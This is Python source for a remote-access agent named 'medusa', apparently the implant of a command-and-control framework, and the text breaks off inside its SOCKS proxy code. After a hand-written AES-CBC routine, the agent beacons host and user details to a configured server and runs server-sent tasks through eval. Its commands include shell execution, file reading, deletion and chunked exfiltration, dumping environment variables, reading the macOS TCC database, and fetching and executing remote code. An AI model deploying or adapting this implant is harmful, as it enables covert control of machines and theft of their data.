    0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
    0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
    0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
    0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
    0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
    0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
    0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
    0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
    0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
    0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
    0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
    0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
    0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
    0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
    0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
    0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,
)

inv_s_box = (
    0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB,
    0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB,
    0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E,
    0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25,
    0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92,
    0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84,
    0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06,
    0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B,
    0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73,
    0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E,
    0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B,
    0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4,
    0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F,
    0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF,
    0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61,
    0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D,
)

def sub_bytes(s):
    for i in range(4): 
        for j in range(4):
            s[i][j] = s_box[s[i][j]]

def inv_sub_bytes(s):
    for i in range(4):
        for j in range(4):
            s[i][j] = inv_s_box[s[i][j]]

def shift_rows(s):
    s[0][1], s[1][1], s[2][1], s[3][1] = s[1][1], s[2][1], s[3][1], s[0][1]
    s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2]
    s[0][3], s[1][3], s[2][3], s[3][3] = s[3][3], s[0][3], s[1][3], s[2][3]

def inv_shift_rows(s):
    s[0][1], s[1][1], s[2][1], s[3][1] = s[3][1], s[0][1], s[1][1], s[2][1]
    s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2]
    s[0][3], s[1][3], s[2][3], s[3][3] = s[1][3], s[2][3], s[3][3], s[0][3]

def add_round_key(s, k):
    for i in range(4):
        for j in range(4):
            s[i][j] ^= k[i][j]

xtime = lambda a: (((a << 1) ^ 0x1B) & 0xFF) if (a & 0x80) else (a << 1)

def mix_single_column(a):
    t = a[0] ^ a[1] ^ a[2] ^ a[3]
    u = a[0]
    a[0] ^= t ^ xtime(a[0] ^ a[1])
    a[1] ^= t ^ xtime(a[1] ^ a[2])
    a[2] ^= t ^ xtime(a[2] ^ a[3])
    a[3] ^= t ^ xtime(a[3] ^ u)

def mix_columns(s):
    for i in range(4): mix_single_column(s[i])

def inv_mix_columns(s):
    for i in range(4):
        u = xtime(xtime(s[i][0] ^ s[i][2]))
        v = xtime(xtime(s[i][1] ^ s[i][3]))
        s[i][0] ^= u
        s[i][1] ^= v
        s[i][2] ^= u
        s[i][3] ^= v

    mix_columns(s)

r_con = (
    0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40,
    0x80, 0x1B, 0x36, 0x6C, 0xD8, 0xAB, 0x4D, 0x9A,
    0x2F, 0x5E, 0xBC, 0x63, 0xC6, 0x97, 0x35, 0x6A,
    0xD4, 0xB3, 0x7D, 0xFA, 0xEF, 0xC5, 0x91, 0x39,
)

def bytes2matrix(text):
    return [list(text[i:i+4]) for i in range(0, len(text), 4)]

def matrix2bytes(matrix):
    return bytes(sum(matrix, []))

def xor_bytes(a, b):
    return bytes(i^j for i, j in zip(a, b))

def inc_bytes(a):
    out = list(a)
    for i in reversed(range(len(out))):
        if out[i] == 0xFF:
            out[i] = 0
        else:
            out[i] += 1
            break
    return bytes(out)

def pad(plaintext):
    padding_len = 16 - (len(plaintext) % 16)
    padding = bytes([padding_len] * padding_len)
    return plaintext + padding

def unpad(plaintext):
    padding_len = plaintext[-1]
    assert padding_len > 0
    message, padding = plaintext[:-padding_len], plaintext[-padding_len:]
    assert all(p == padding_len for p in padding)
    return message

def split_blocks(message, block_size=16, require_padding=True):
        assert len(message) % block_size == 0 or not require_padding
        return [message[i:i+16] for i in range(0, len(message), block_size)]

class AES:
    rounds_by_key_size = {16: 10, 24: 12, 32: 14}
    def __init__(self, master_key):
        assert len(master_key) in AES.rounds_by_key_size
        self.n_rounds = AES.rounds_by_key_size[len(master_key)]
        self._key_matrices = self._expand_key(master_key)

    def _expand_key(self, master_key):
        key_columns = bytes2matrix(master_key)
        iteration_size = len(master_key) // 4
        columns_per_iteration = len(key_columns)
        i = 1
        while len(key_columns) < (self.n_rounds + 1) * 4:
            word = list(key_columns[-1])
            if len(key_columns) % iteration_size == 0:
                word.append(word.pop(0))
                word = [s_box[b] for b in word]
                word[0] ^= r_con[i]
                i += 1
            elif len(master_key) == 32 and len(key_columns) % iteration_size == 4:
                word = [s_box[b] for b in word]

            word = xor_bytes(word, key_columns[-iteration_size])
            key_columns.append(word)
        return [key_columns[4*i : 4*(i+1)] for i in range(len(key_columns) // 4)]

    def encrypt_block(self, plaintext):
        assert len(plaintext) == 16
        plain_state = bytes2matrix(plaintext)
        add_round_key(plain_state, self._key_matrices[0])
        for i in range(1, self.n_rounds):
            sub_bytes(plain_state)
            shift_rows(plain_state)
            mix_columns(plain_state)
            add_round_key(plain_state, self._key_matrices[i])
        sub_bytes(plain_state)
        shift_rows(plain_state)
        add_round_key(plain_state, self._key_matrices[-1])

        return matrix2bytes(plain_state)

    def decrypt_block(self, ciphertext):
        assert len(ciphertext) == 16
        cipher_state = bytes2matrix(ciphertext)
        add_round_key(cipher_state, self._key_matrices[-1])
        inv_shift_rows(cipher_state)
        inv_sub_bytes(cipher_state)

        for i in range(self.n_rounds - 1, 0, -1):
            add_round_key(cipher_state, self._key_matrices[i])
            inv_mix_columns(cipher_state)
            inv_shift_rows(cipher_state)
            inv_sub_bytes(cipher_state)
        add_round_key(cipher_state, self._key_matrices[0])
        return matrix2bytes(cipher_state)

    def encrypt_cbc(self, plaintext, iv):
        assert len(iv) == 16
        plaintext = pad(plaintext)
        blocks = []
        previous = iv
        for plaintext_block in split_blocks(plaintext):
            block = self.encrypt_block(xor_bytes(plaintext_block, previous))
            blocks.append(block)
            previous = block
        return b''.join(blocks)

    def decrypt_cbc(self, ciphertext, iv):
        assert len(iv) == 16
        blocks = []
        previous = iv
        for ciphertext_block in split_blocks(ciphertext):
            blocks.append(xor_bytes(previous, self.decrypt_block(ciphertext_block)))
            previous = ciphertext_block
        return unpad(b''.join(blocks))


class medusa:
    def encrypt(self, data):
        from hmac import new
        if self.agent_config["enc_key"]["value"] == "aes256_hmac" and len(data)>0:
            key = base64.b64decode(self.agent_config["enc_key"]["enc_key"])
            iv = os.urandom(16)
            ciphertext = AES(key).encrypt_cbc(data, iv)
            hmac = new(key, iv + ciphertext, 'sha256').digest()
            return iv + ciphertext + hmac
        else:
            return data

    def decrypt(self, data):
        from hmac import new, compare_digest

        if self.agent_config["enc_key"]["value"] == "aes256_hmac":
            if len(data)>0:
                key = base64.b64decode(self.agent_config["enc_key"]["dec_key"])
                uuid = data[:36]
                iv = data[36:52]
                ct = data[52:-32]
                received_hmac = data[-32:]
                hmac = new(key, iv + ct, 'sha256').digest()
                if compare_digest(hmac, received_hmac):
                    return (uuid + AES(key).decrypt_cbc(ct, iv)).decode()
                else: return ""
            else: return ""
        else: return data.decode()


    def getOSVersion(self):
        if platform.mac_ver()[0]: return "macOS "+platform.mac_ver()[0]
        else: return platform.system() + " " + platform.release()

    def getUsername(self):
        try: return os.getlogin() 
        except: pass
        for k in [ "USER", "LOGNAME", "USERNAME" ]: 
            if k in os.environ.keys(): return os.environ[k]

    def formatMessage(self, data):
        return base64.b64encode(self.agent_config["UUID"].encode() + self.encrypt(json.dumps(data).encode()))

    def formatResponse(self, data):
        return json.loads(data.replace(self.agent_config["UUID"],""))

    def postMessageAndRetrieveResponse(self, data):
        return self.formatResponse(self.decrypt(self.makeRequest(self.formatMessage(data),'POST')))

    def getMessageAndRetrieveResponse(self, data):
        return self.formatResponse(self.decrypt(self.makeRequest(self.formatMessage(data))))

    def sendTaskOutputUpdate(self, task_id, output):
        responses = [{ "task_id": task_id, "user_output": output, "completed": False }]
        message = { "action": "post_response", "responses": responses }
        response_data = self.postMessageAndRetrieveResponse(message)

    def postResponses(self):
        try:
            responses = socks = []
            taskings = self.taskings
            for task in taskings:
                if task["completed"] == True:
                    out = { "task_id": task["task_id"], "user_output": task["result"], "completed": True }
                    if task["error"]: out["status"] = "error"
                    elif "file_browser" in task["parameters"]: out["file_browser"] = task["file_browser"]
                    responses.append(out)
            while not self.socks_out.empty(): socks.append(self.socks_out.get())
            if ((len(responses) > 0) or (len(socks) > 0)):
                message = { "action": "post_response", "responses": responses }
                if socks: message["socks"] = socks
                response_data = self.postMessageAndRetrieveResponse(message)
                for resp in response_data["responses"]:
                    task_index = [t for t in self.taskings \
                        if resp["task_id"] == t["task_id"] \
                        and resp["status"] == "success"][0]
                    self.taskings.pop(self.taskings.index(task_index))
        except: pass

    def processTask(self, task):
        try:
            task["started"] = True
            function = getattr(self, task["command"], None)
            if(callable(function)):
                try:
                    params = json.loads(task["parameters"]) if task["parameters"] else {}
                    params['task_id'] = task["task_id"] 
                    command =  "self." + task["command"] + "(**params)"
                    output = eval(command)
                except Exception as error:
                    output = str(error)
                    task["error"] = True                        
                task["result"] = output
                task["completed"] = True
            else:
                task["error"] = task["completed"] = True
                task["result"] = "Function unavailable."
        except Exception as error:
            task["error"] = task["completed"] = True
            task["result"] = error

    def processTaskings(self):
        threads = list()       
        taskings = self.taskings     
        for task in taskings:
            if task["started"] == False:
                x = threading.Thread(target=self.processTask, name="{}:{}".format(task["command"], task["task_id"]), args=(task,))
                threads.append(x)
                x.start()

    def getTaskings(self):
        data = { "action": "get_tasking", "tasking_size": -1 }
        tasking_data = self.postMessageAndRetrieveResponse(data)
        for task in tasking_data["tasks"]:
            t = {
                "task_id":task["id"],
                "command":task["command"],
                "parameters":task["parameters"],
                "result":"",
                "completed": False,
                "started":False,
                "error":False,
                "stopped":False
            }
            self.taskings.append(t)
        if "socks" in tasking_data:
            for packet in tasking_data["socks"]: self.socks_in.put(packet)

    def checkIn(self):
        data = {
            "action": "checkin",
            "ip": socket.gethostbyname(socket.gethostname()),
            "os": self.getOSVersion(),
            "user": self.getUsername(),
            "host": socket.gethostname(),
            "domain:": socket.getfqdn(),
            "pid": os.getpid(),
            "uuid": self.agent_config["PayloadUUID"],
            "architecture": "x64" if sys.maxsize > 2**32 else "x86",
            "encryption_key": self.agent_config["enc_key"]["enc_key"],
            "decryption_key": self.agent_config["enc_key"]["dec_key"]
        }
        encoded_data = base64.b64encode(self.agent_config["PayloadUUID"].encode() + self.encrypt(json.dumps(data).encode()))
        decoded_data = self.decrypt(self.makeRequest(encoded_data, 'POST'))
        if("status" in decoded_data):
            UUID = json.loads(decoded_data.replace(self.agent_config["PayloadUUID"],""))["id"]
            self.agent_config["UUID"] = UUID
            return True
        else: return False

    def makeRequest(self, data, method='GET'):
        hdrs = {}
        for header in self.agent_config["Headers"]:
            hdrs[header["name"]] = header["value"]
        if method == 'GET':
            req = urllib.request.Request(self.agent_config["Server"] + self.agent_config["GetURI"] + "?" + self.agent_config["GetURI"] + "=" + data.decode(), None, hdrs)
        else:
            req = urllib.request.Request(self.agent_config["Server"] + self.agent_config["PostURI"], data, hdrs)
        
        if self.agent_config["ProxyHost"] and self.agent_config["ProxyPort"]:
            tls = "https" if self.agent_config["ProxyHost"][0:5] == "https" else "http"
            handler = urllib.request.HTTPSHandler if tls else urllib.request.HTTPHandler
            if self.agent_config["ProxyUser"] and self.agent_config["ProxyPass"]:
                proxy = urllib.request.ProxyHandler({
                    "{}".format(tls): '{}://{}:{}@{}:{}'.format(tls, self.agent_config["ProxyUser"], self.agent_config["ProxyPass"], \
                        self.agent_config["ProxyHost"].replace(tls+"://", ""), self.agent_config["ProxyPort"])
                })
                auth = urllib.request.HTTPBasicAuthHandler()
                opener = urllib.request.build_opener(proxy, auth, handler)
            else:
                proxy = urllib.request.ProxyHandler({
                    "{}".format(tls): '{}://{}:{}'.format(tls, self.agent_config["ProxyHost"].replace(tls+"://", ""), self.agent_config["ProxyPort"])
                })
                opener = urllib.request.build_opener(proxy, handler)
            urllib.request.install_opener(opener)
        try:
            with urllib.request.urlopen(req) as response:
                out = base64.b64decode(response.read())
                return out.decode() if method == 'GET' else out 
        except: return ""

    def passedKilldate(self):
        kd_list = [ int(x) for x in self.agent_config["KillDate"].split("-")]
        kd = datetime(kd_list[0], kd_list[1], kd_list[2])
        if datetime.now() >= kd: return True
        else: return False

    def agentSleep(self):
        j = 0
        if int(self.agent_config["Jitter"]) > 0:
            v = float(self.agent_config["Sleep"]) * (float(self.agent_config["Jitter"])/100)
            if int(v) > 0:
                j = random.randrange(0, int(v))    
        time.sleep(self.agent_config["Sleep"]+j)

    def cat(self, task_id, path):
        file_path = path if path[0] == os.sep \
                else os.path.join(self.current_directory,path)
        
        with open(file_path, 'r') as f:
            content = f.readlines()
            return ''.join(content)

    def cd(self, task_id, path):
        if path == "..":
            self.current_directory = os.path.dirname(os.path.dirname(self.current_directory + os.sep))
        else:
            self.current_directory = path if path[0] == os.sep \
                else os.path.abspath(os.path.join(self.current_directory,path))

    def cp(self, task_id, source, destination):
        import shutil

        source_path = source if source[0] == os.sep \
                else os.path.join(self.current_directory,source)

        dest_path = destination if destination[0] == os.sep \
                else os.path.join(self.current_directory,destination)

        if os.path.isdir(source_path):
            shutil.copytree(source_path, dest_path)
        else:
            shutil.copy(source_path, dest_path)

    def cwd(self, task_id):
        return self.current_directory
        
    def download(self, task_id, file):
        file_path = file if file[0] == os.sep \
                else os.path.join(self.current_directory,file)

        file_size = os.stat(file_path).st_size 
        total_chunks = int(file_size / CHUNK_SIZE) + (file_size % CHUNK_SIZE > 0)

        data = {
            "action": "post_response", 
            "responses": [
            {
                "task_id": task_id,
                "total_chunks": total_chunks,
                "full_path": file_path,
                "chunk_size": CHUNK_SIZE
            }]
        }
        initial_response = self.postMessageAndRetrieveResponse(data)
        chunk_num = 1
        with open(file_path, 'rb') as f:
            while True:
                if [task for task in self.taskings if task["task_id"] == task_id][0]["stopped"]:
                    return "Job stopped."

                content = f.read(CHUNK_SIZE)
                if not content:
                    break # done

                data = {
                    "action": "post_response", 
                    "responses": [
                        {
                            "chunk_num": chunk_num,
                            "file_id": initial_response["responses"][0]["file_id"],
                            "chunk_data": base64.b64encode(content).decode(),
                            "task_id": task_id
                        }
                    ]
                }
                chunk_num+=1
                response = self.postMessageAndRetrieveResponse(data)

    def env(self, task_id):
        return "\n".join(["{}: {}".format(x, os.environ[x]) for x in os.environ])
 
    def eval_code(self, task_id, command):
        return eval(command)
        
    def exit(self, task_id):
        os._exit(0)

    def jobkill(self, task_id, target_task_id):
        task = [task for task in self.taskings if task["task_id"] == target_task_id]
        task[0]["stopped"] = True

    def jobs(self, task_id):
        out = [t.name.split(":") for t in threading.enumerate() \
            if t.name != "MainThread" and "a2m" not in t.name \
            and "m2a" not in t.name and t.name != "jobs:{}".format(task_id) ]
        if len(out) > 0: return { "jobs": out }
        else: return "No long running jobs!"

    def list_modules(self, task_id, module_name=""):
        if module_name:
            if module_name in self.moduleRepo.keys():
                return "\n".join(self.moduleRepo[module_name].namelist())
            else: return "{} not found in loaded modules".format(module_name)
        else:
            return "\n".join(self.moduleRepo.keys())

    def list_tcc(self,task_id,tcc=True, db="/Library/Application Support/com.apple.TCC/TCC.db"):
        import sqlite3

        with sqlite3.connect(db) as con:
            columns = []
            for row in con.execute('PRAGMA table_info("access")'):
                columns.append(row)

            tcc = []
            for row in con.execute('SELECT * FROM "access"'):
                tcc.append(row)
            results = []
            for entry in tcc:
                line={}
                count = 0 
                for ent in entry:
                    if columns[count][2] == "BLOB" and ent != None:
                        line[columns[count][1]] = base64.b64encode(ent).decode()
                    else: line[columns[count][1]] = str(ent)
                    count+=1
                results.append(line)

            tcc_results = {}
            tcc_results["entries"] = results
            return { "tcc": results }

    def load(self, task_id, file_id, command):
        total_chunks = 1
        chunk_num = 0
        cmd_code = ""
        while (chunk_num < total_chunks):
            if [task for task in self.taskings if task["task_id"] == task_id][0]["stopped"]:
                return "Job stopped."
            data = { "action": "post_response", "responses": [
                    { "upload": { "chunk_size": CHUNK_SIZE, "file_id": file_id, "chunk_num": chunk_num }, "task_id": task_id }
                ]}
            response = self.postMessageAndRetrieveResponse(data)
            chunk = response["responses"][0]
            chunk_num+=1
            total_chunks = chunk["total_chunks"]
            cmd_code += base64.b64decode(chunk["chunk_data"]).decode()

        if cmd_code:
            exec(cmd_code.replace("\n    ","\n")[4:])
            setattr(medusa, command, eval(command))
            cmd_list = [{"action": "add", "cmd": command}]
            responses = [{ "task_id": task_id, "user_output": "Loaded command: {}".format(command), "commands": cmd_list, "completed": True }]
            message = { "action": "post_response", "responses": responses }
            response_data = self.postMessageAndRetrieveResponse(message)
        else: return "Failed to upload '{}' command".format(command)

    def load_module(self, task_id, file, module_name):
        import zipfile, io

        class CFinder(object):
            def __init__(self, repoName, instance):
                self.moduleRepo = instance.moduleRepo
                self.repoName = repoName
                self._source_cache = {}

            def _get_info(self, repoName, fullname):
                parts = fullname.split('.')
                submodule = parts[-1]
                modulepath = '/'.join(parts)
                _search_order = [('.py', False), ('/__init__.py', True)]
                for suffix, is_package in _search_order:
                    relpath = modulepath + suffix
                    try: self.moduleRepo[repoName].getinfo(relpath)
                    except KeyError: pass
                    else: return submodule, is_package, relpath
                msg = ('Unable to locate module %s in the %s repo' % (submodule, repoName))
                raise ImportError(msg)

            def _get_source(self, repoName, fullname):
                submodule, is_package, relpath = self._get_info(repoName, fullname)
                fullpath = '%s/%s' % (repoName, relpath)
                if relpath in self._source_cache:
                    source = self._source_cache[relpath]
                    return submodule, is_package, fullpath, source
                try:
                    source =  self.moduleRepo[repoName].read(relpath)
                    source = source.replace(b'\r\n', b'\n')
                    source = source.replace(b'\r', b'\n')
                    self._source_cache[relpath] = source
                    return submodule, is_package, fullpath, source
                except: raise ImportError("Unable to obtain source for module %s" % (fullpath))

            def find_module(self, fullname, path=None):
                try: submodule, is_package, relpath = self._get_info(self.repoName, fullname)
                except ImportError: return None
                else: return self

            def load_module(self, fullname):
                import types
                submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname)
                code = compile(source, fullpath, 'exec')
                mod = sys.modules.setdefault(fullname, types.ModuleType(fullname))
                mod.__loader__ = self
                mod.__file__ = fullpath
                mod.__name__ = fullname
                if is_package:
                    mod.__path__ = [os.path.dirname(mod.__file__)]
                exec(code, mod.__dict__)
                return mod

            def get_data(self, fullpath):

                prefix = os.path.join(self.repoName, '')
                if not fullpath.startswith(prefix):
                    raise IOError('Path %r does not start with module name %r', (fullpath, prefix))
                relpath = fullpath[len(prefix):]
                try:
                    return self.moduleRepo[self.repoName].read(relpath)
                except KeyError:
                    raise IOError('Path %r not found in repo %r' % (relpath, self.repoName))

            def is_package(self, fullname):
                """Return if the module is a package"""
                submodule, is_package, relpath = self._get_info(self.repoName, fullname)
                return is_package

            def get_code(self, fullname):
                submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname)
                return compile(source, fullpath, 'exec')

        if module_name in self.moduleRepo.keys():
            return "{} module already loaded.".format(module_name)
        total_chunks = 1
        chunk_num = 0
        module_zip = bytearray()
        while (chunk_num < total_chunks):
            if [task for task in self.taskings if task["task_id"] == task_id][0]["stopped"]:
                return "Job stopped."
            data = { "action": "post_response", "responses": [
                    { "upload": { "chunk_size": CHUNK_SIZE, "file_id": file, "chunk_num": chunk_num+1 }, "task_id": task_id }
                ]}
            response = self.postMessageAndRetrieveResponse(data)
            chunk = response["responses"][0]
            total_chunks = chunk["total_chunks"]
            chunk_num+=1
            module_zip.extend(base64.b64decode(chunk["chunk_data"]))

        if module_zip:
            self.moduleRepo[module_name] = zipfile.ZipFile(io.BytesIO(module_zip))
            if module_name not in self._meta_cache:
                finder = CFinder(module_name, self)
                self._meta_cache[module_name] = finder
                sys.meta_path.append(finder)        
        else: return "Failed to download in-memory module"

    def load_script(self, task_id, file):
        total_chunks = 1
        chunk_num = 0
        cmd_code = ""
        while (chunk_num < total_chunks):
            if [task for task in self.taskings if task["task_id"] == task_id][0]["stopped"]:
                return "Job stopped."
            data = { "action": "post_response", "responses": [
                    { "upload": { "chunk_size": CHUNK_SIZE, "file_id": file, "chunk_num": chunk_num }, "task_id": task_id }
                ]}
            response = self.postMessageAndRetrieveResponse(data)
            chunk = response["responses"][0]
            chunk_num+=1
            total_chunks = chunk["total_chunks"]
            cmd_code += base64.b64decode(chunk["chunk_data"]).decode()
            
        if cmd_code: exec(cmd_code)
        else: return "Failed to load script"

    def ls(self, task_id, path, file_browser=False):
        if path == ".": file_path = self.current_directory
        else: file_path = path if path[0] == os.sep \
                else os.path.join(self.current_directory,path)
        file_details = os.stat(file_path)
        target_is_file = os.path.isfile(file_path)
        target_name = os.path.basename(file_path.rstrip(os.sep))
        file_browser = {
            "host": socket.gethostname(),
            "is_file": target_is_file,
            "permissions": {"octal": oct(file_details.st_mode)[-3:]},
            "name": target_name if target_name != "." \
                    else os.path.basename(self.current_directory.rstrip(os.sep)),            "parent_path": os.path.abspath(os.path.join(file_path, os.pardir)),
            "success": True,
            "access_time": time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(file_details.st_atime)),
            "modify_time": time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(file_details.st_mtime)),
            "size": file_details.st_size,
            "update_deleted": True,
        }
        files = []
        if not target_is_file:
            with os.scandir(file_path) as entries:
                for entry in entries:
                    file = {}
                    file['name'] = entry.name
                    file['is_file'] = True if entry.is_file() else False
                    try:
                        file_details = os.stat(os.path.join(file_path, entry.name))
                        file["permissions"] = { "octal": oct(file_details.st_mode)[-3:]}
                        file["access_time"] = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(file_details.st_atime))
                        file["modify_time"] = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(file_details.st_mtime))
                        file["size"] = file_details.st_size
                    except OSError as e:
                        pass
                    files.append(file)  
        file_browser["files"] = files
        task = [task for task in self.taskings if task["task_id"] == task_id]
        task[0]["file_browser"] = file_browser
        return { "files": files }

    def mv(self, task_id, source, destination):
        import shutil
        source_path = source if source[0] == os.sep \
                else os.path.join(self.current_directory,source)
        dest_path = destination if destination[0] == os.sep \
                else os.path.join(self.current_directory,destination)
        shutil.move(source_path, dest_path)

    def rm(self, task_id, path):
        import shutil
        file_path = path if path[0] == os.sep \
                else os.path.join(self.current_directory,path)
        if os.path.isdir(file_path):
            shutil.rmtree(file_path)
        else:
            os.remove(file_path)

    def shell(self, task_id, command):
        import subprocess
        process = subprocess.Popen(command.split(),
                     stdout=subprocess.PIPE, 
                     stderr=subprocess.PIPE,
                     cwd=self.current_directory)
        stdout, stderr = process.communicate()
        out = stderr if stderr else stdout
        return out.decode()

    def sleep(self, task_id, seconds, jitter=-1):
        self.agent_config["Sleep"] = int(seconds)
        if jitter != -1:
            self.agent_config["Jitter"] = int(jitter)

    def socks(self, task_id, action, port):
        import socket, select, queue
        from threading import Thread, activeCount
        from struct import pack, unpack
        
        MAX_THREADS = 200
        BUFSIZE = 2048
        TIMEOUT_SOCKET = 5
        OUTGOING_INTERFACE = ""

        VER = b'\x05'
        M_NOAUTH = b'\x00'
        M_NOTAVAILABLE = b'\xff'
        CMD_CONNECT = b'\x01'
        ATYP_IPV4 = b'\x01'
        ATYP_DOMAINNAME = b'\x03'

        SOCKS_SLEEP_INTERVAL = 0.1
        QUEUE_TIMOUT = 1

        def sendSocksPacket(server_id, data, exit_value):
            self.socks_out.put({ "server_id": server_id, 
                "data": base64.b64encode(data).decode(), "exit": exit_value })
            
        def create_socket():
            try:
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                sock.settimeout(TIMEOUT_SOCKET)
            except: return "Failed to create socket: {}".format(str(err))
            return sock

        def connect_to_dst(dst_addr, dst_port):
            sock = create_socket()
            if OUTGOING_INTERFACE:
                try:
                    sock.setsockopt(socket.SOL_SOCKET, socket.SO_BINDTODEVICE, OUTGOING_INTERFACE.encode())
                except PermissionError as err: return 0
            try:
                sock.connect((dst_addr, dst_port))
                return sock
            except socket.error as err: return 0

        def request_client(msg):
            try:
                message = base64.b64decode(msg["data"])
                s5_request = message[:BUFSIZE]
            except:
                return False
            if (s5_request[0:1] != VER or s5_request[1:2] != CMD_CONNECT or s5_request[2:3] != b'\x00'):
                return False
            if s5_request[3:4] == ATYP_IPV4:
                dst_addr = socket.inet_ntoa(s5_request[4:-2])
                dst_port = unpack('>H', s5_request[8:len(s5_request)])[0]
            elif s5_request[3:4] == ATYP_DOMAINNAME:
                sz_domain_name = s5_request[4]
                dst_addr = s5_request[5: 5 + sz_domain_name - len(s5_request)]
                port_to_unpack = s5_request[5 + sz_domain_name:len(s5_request)]
                dst_port = unpack('>H', port_to_unpack)[0]
            else: return False
            return (dst_addr, dst_port)

        def create_connection(msg):
            dst = request_client(msg)
            rep = b'\x07'
            bnd = b'\x00' + b'\x00' + b'\x00' + b'\x00' + b'\x00' + b'\x00'
            if dst: 
                socket_dst = connect_to_dst(dst[0], dst[1])
